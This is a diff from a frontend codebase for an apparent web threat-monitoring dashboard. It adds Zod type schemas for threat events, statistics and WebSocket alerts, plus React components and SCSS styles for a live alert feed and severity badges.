export type RetrainResponse = z.infer<typeof RetrainResponseSchema>
|
||||||
|
|
@ -0,0 +1,36 @@
|
||||||
|
// ===================
|
||||||
|
// © AngelaMos | 2026
|
||||||
|
// stats.types.ts
|
||||||
|
// ===================
|
||||||
|
|
||||||
|
import { z } from 'zod'
|
||||||
|
|
||||||
|
export const SeverityBreakdownSchema = z.object({
|
||||||
|
high: z.number().int(),
|
||||||
|
medium: z.number().int(),
|
||||||
|
low: z.number().int(),
|
||||||
|
})
|
||||||
|
|
||||||
|
export const IPStatEntrySchema = z.object({
|
||||||
|
source_ip: z.string(),
|
||||||
|
count: z.number().int(),
|
||||||
|
})
|
||||||
|
|
||||||
|
export const PathStatEntrySchema = z.object({
|
||||||
|
path: z.string(),
|
||||||
|
count: z.number().int(),
|
||||||
|
})
|
||||||
|
|
||||||
|
export const StatsResponseSchema = z.object({
|
||||||
|
time_range: z.string(),
|
||||||
|
threats_stored: z.number().int(),
|
||||||
|
threats_detected: z.number().int(),
|
||||||
|
severity_breakdown: SeverityBreakdownSchema,
|
||||||
|
top_source_ips: z.array(IPStatEntrySchema),
|
||||||
|
top_attacked_paths: z.array(PathStatEntrySchema),
|
||||||
|
})
|
||||||
|
|
||||||
|
export type SeverityBreakdown = z.infer<typeof SeverityBreakdownSchema>
|
||||||
|
export type IPStatEntry = z.infer<typeof IPStatEntrySchema>
|
||||||
|
export type PathStatEntry = z.infer<typeof PathStatEntrySchema>
|
||||||
|
export type StatsResponse = z.infer<typeof StatsResponseSchema>
|
||||||
|
|
@ -0,0 +1,43 @@
|
||||||
|
// ===================
|
||||||
|
// © AngelaMos | 2026
|
||||||
|
// threats.types.ts
|
||||||
|
// ===================
|
||||||
|
|
||||||
|
import { z } from 'zod'
|
||||||
|
|
||||||
|
export const GeoInfoSchema = z.object({
|
||||||
|
country: z.string().nullable(),
|
||||||
|
city: z.string().nullable(),
|
||||||
|
lat: z.number().nullable(),
|
||||||
|
lon: z.number().nullable(),
|
||||||
|
})
|
||||||
|
|
||||||
|
export const ThreatEventSchema = z.object({
|
||||||
|
id: z.string().uuid(),
|
||||||
|
created_at: z.string(),
|
||||||
|
source_ip: z.string(),
|
||||||
|
request_method: z.string(),
|
||||||
|
request_path: z.string(),
|
||||||
|
status_code: z.number().int(),
|
||||||
|
response_size: z.number().int(),
|
||||||
|
user_agent: z.string(),
|
||||||
|
threat_score: z.number(),
|
||||||
|
severity: z.literal(['HIGH', 'MEDIUM', 'LOW']),
|
||||||
|
component_scores: z.record(z.string(), z.number()),
|
||||||
|
geo: GeoInfoSchema,
|
||||||
|
matched_rules: z.array(z.string()).nullable(),
|
||||||
|
model_version: z.string().nullable(),
|
||||||
|
reviewed: z.boolean(),
|
||||||
|
review_label: z.string().nullable(),
|
||||||
|
})
|
||||||
|
|
||||||
|
export const ThreatListSchema = z.object({
|
||||||
|
total: z.number().int(),
|
||||||
|
limit: z.number().int(),
|
||||||
|
offset: z.number().int(),
|
||||||
|
items: z.array(ThreatEventSchema),
|
||||||
|
})
|
||||||
|
|
||||||
|
export type GeoInfo = z.infer<typeof GeoInfoSchema>
|
||||||
|
export type ThreatEvent = z.infer<typeof ThreatEventSchema>
|
||||||
|
export type ThreatList = z.infer<typeof ThreatListSchema>
|
||||||
|
|
@ -0,0 +1,18 @@
|
||||||
|
// ===================
|
||||||
|
// © AngelaMos | 2026
|
||||||
|
// websocket.types.ts
|
||||||
|
// ===================
|
||||||
|
|
||||||
|
import { z } from 'zod'
|
||||||
|
|
||||||
|
export const WebSocketAlertSchema = z.object({
|
||||||
|
event: z.literal('threat'),
|
||||||
|
timestamp: z.string(),
|
||||||
|
source_ip: z.string(),
|
||||||
|
request_path: z.string(),
|
||||||
|
threat_score: z.number(),
|
||||||
|
severity: z.string(),
|
||||||
|
component_scores: z.record(z.string(), z.number()),
|
||||||
|
})
|
||||||
|
|
||||||
|
export type WebSocketAlert = z.infer<typeof WebSocketAlertSchema>
|
||||||
|
|
@ -0,0 +1,93 @@
|
||||||
|
// ===================
|
||||||
|
// © AngelaMos | 2026
|
||||||
|
// alert-feed.module.scss
|
||||||
|
// ===================
|
||||||
|
|
||||||
|
@use '@/styles/tokens' as *;
|
||||||
|
|
||||||
|
.feed {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
background: $bg-surface-100;
|
||||||
|
border: 1px solid $border-muted;
|
||||||
|
border-radius: $radius-lg;
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
.header {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: space-between;
|
||||||
|
padding: $space-4 $space-5;
|
||||||
|
border-bottom: 1px solid $border-muted;
|
||||||
|
}
|
||||||
|
|
||||||
|
.title {
|
||||||
|
font-size: $font-size-sm;
|
||||||
|
font-weight: $font-weight-medium;
|
||||||
|
color: $text-default;
|
||||||
|
margin: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.status {
|
||||||
|
width: 8px;
|
||||||
|
height: 8px;
|
||||||
|
border-radius: $radius-full;
|
||||||
|
}
|
||||||
|
|
||||||
|
.connected {
|
||||||
|
background: $severity-low;
|
||||||
|
}
|
||||||
|
|
||||||
|
.disconnected {
|
||||||
|
background: $severity-high;
|
||||||
|
}
|
||||||
|
|
||||||
|
.list {
|
||||||
|
overflow-y: auto;
|
||||||
|
max-height: 400px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.row {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: 80px 130px 1fr auto 60px;
|
||||||
|
gap: $space-3;
|
||||||
|
align-items: center;
|
||||||
|
padding: $space-2-5 $space-5;
|
||||||
|
border-bottom: 1px solid $border-muted;
|
||||||
|
font-size: $font-size-xs;
|
||||||
|
|
||||||
|
&:last-child {
|
||||||
|
border-bottom: none;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
.time {
|
||||||
|
color: $text-lighter;
|
||||||
|
font-variant-numeric: tabular-nums;
|
||||||
|
}
|
||||||
|
|
||||||
|
.ip {
|
||||||
|
color: $text-light;
|
||||||
|
font-family: monospace;
|
||||||
|
}
|
||||||
|
|
||||||
|
.path {
|
||||||
|
color: $text-light;
|
||||||
|
overflow: hidden;
|
||||||
|
text-overflow: ellipsis;
|
||||||
|
white-space: nowrap;
|
||||||
|
}
|
||||||
|
|
||||||
|
.score {
|
||||||
|
color: $text-lighter;
|
||||||
|
text-align: right;
|
||||||
|
font-variant-numeric: tabular-nums;
|
||||||
|
}
|
||||||
|
|
||||||
|
.empty {
|
||||||
|
padding: $space-10;
|
||||||
|
text-align: center;
|
||||||
|
color: $text-muted;
|
||||||
|
font-size: $font-size-sm;
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,70 @@
|
||||||
|
// ===================
|
||||||
|
// © AngelaMos | 2026
|
||||||
|
// alert-feed.tsx
|
||||||
|
// ===================
|
||||||
|
|
||||||
|
import { useEffect, useRef } from 'react'
|
||||||
|
import type { WebSocketAlert } from '@/api/types'
|
||||||
|
import styles from './alert-feed.module.scss'
|
||||||
|
import { SeverityBadge } from './severity-badge'
|
||||||
|
|
||||||
|
interface AlertFeedProps {
|
||||||
|
alerts: WebSocketAlert[]
|
||||||
|
isConnected: boolean
|
||||||
|
maxHeight?: string
|
||||||
|
}
|
||||||
|
|
||||||
|
function formatTime(timestamp: string): string {
|
||||||
|
return new Date(timestamp).toLocaleTimeString()
|
||||||
|
}
|
||||||
|
|
||||||
|
export function AlertFeed({
|
||||||
|
alerts,
|
||||||
|
isConnected,
|
||||||
|
maxHeight,
|
||||||
|
}: AlertFeedProps): React.ReactElement {
|
||||||
|
const listRef = useRef<HTMLDivElement>(null)
|
||||||
|
|
||||||
|
const alertCount = alerts.length
|
||||||
|
// biome-ignore lint/correctness/useExhaustiveDependencies: scroll on new alerts
|
||||||
|
useEffect(() => {
|
||||||
|
if (listRef.current) {
|
||||||
|
listRef.current.scrollTop = 0
|
||||||
|
}
|
||||||
|
}, [alertCount])
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className={styles.feed}>
|
||||||
|
<div className={styles.header}>
|
||||||
|
<h3 className={styles.title}>Live Alerts</h3>
|
||||||
|
<span
|
||||||
|
className={`${styles.status} ${isConnected ? styles.connected : styles.disconnected}`}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div
|
||||||
|
ref={listRef}
|
||||||
|
className={styles.list}
|
||||||
|
style={maxHeight ? { maxHeight } : undefined}
|
||||||
|
>
|
||||||
|
{alerts.length === 0 ? (
|
||||||
|
<div className={styles.empty}>Waiting for alerts...</div>
|
||||||
|
) : (
|
||||||
|
alerts.map((alert, i) => (
|
||||||
|
<div key={`${alert.timestamp}-${i}`} className={styles.row}>
|
||||||
|
<span className={styles.time}>{formatTime(alert.timestamp)}</span>
|
||||||
|
<span className={styles.ip}>{alert.source_ip}</span>
|
||||||
|
<span className={styles.path}>{alert.request_path}</span>
|
||||||
|
<SeverityBadge
|
||||||
|
severity={alert.severity as 'HIGH' | 'MEDIUM' | 'LOW'}
|
||||||
|
/>
|
||||||
|
<span className={styles.score}>
|
||||||
|
{alert.threat_score.toFixed(2)}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
))
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,9 @@
|
||||||
|
// ===================
|
||||||
|
// © AngelaMos | 2026
|
||||||
|
// index.tsx
|
||||||
|
// ===================
|
||||||
|
|
||||||
|
export { AlertFeed } from './alert-feed'
|
||||||
|
export { SeverityBadge } from './severity-badge'
|
||||||
|
export { StatCard } from './stat-card'
|
||||||
|
export { ThreatDetail } from './threat-detail'
|
||||||
|
|
@ -0,0 +1,33 @@
|
||||||
|
// ===================
|
||||||
|
// © AngelaMos | 2026
|
||||||
|
// severity-badge.module.scss
|
||||||
|
// ===================
|
||||||
|
|
||||||
|
@use '@/styles/tokens' as *;
|
||||||
|
|
||||||
|
.badge {
|
||||||
|
display: inline-flex;
|
||||||
|
align-items: center;
|
||||||
|
padding: $space-0-5 $space-2;
|
||||||
|
border-radius: $radius-full;
|
||||||
|
font-size: $font-size-2xs;
|
||||||
|
font-weight: $font-weight-semibold;
|
||||||
|
letter-spacing: $tracking-wider;
|
||||||
|
line-height: $line-height-none;
|
||||||
|
text-transform: uppercase;
|
||||||
|
}
|
||||||
|
|
||||||
|
.high {
|
||||||
|
color: $severity-high;
|
||||||
|
background: $severity-high-bg;
|
||||||
|
}
|
||||||
|
|
||||||
|
.medium {
|
||||||
|
color: $severity-medium;
|
||||||
|
background: $severity-medium-bg;
|
||||||
|
}
|
||||||
|
|
||||||
|
.low {
|
||||||
|
color: $severity-low;
|
||||||
|
background: $severity-low-bg;
|
||||||
|
}
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue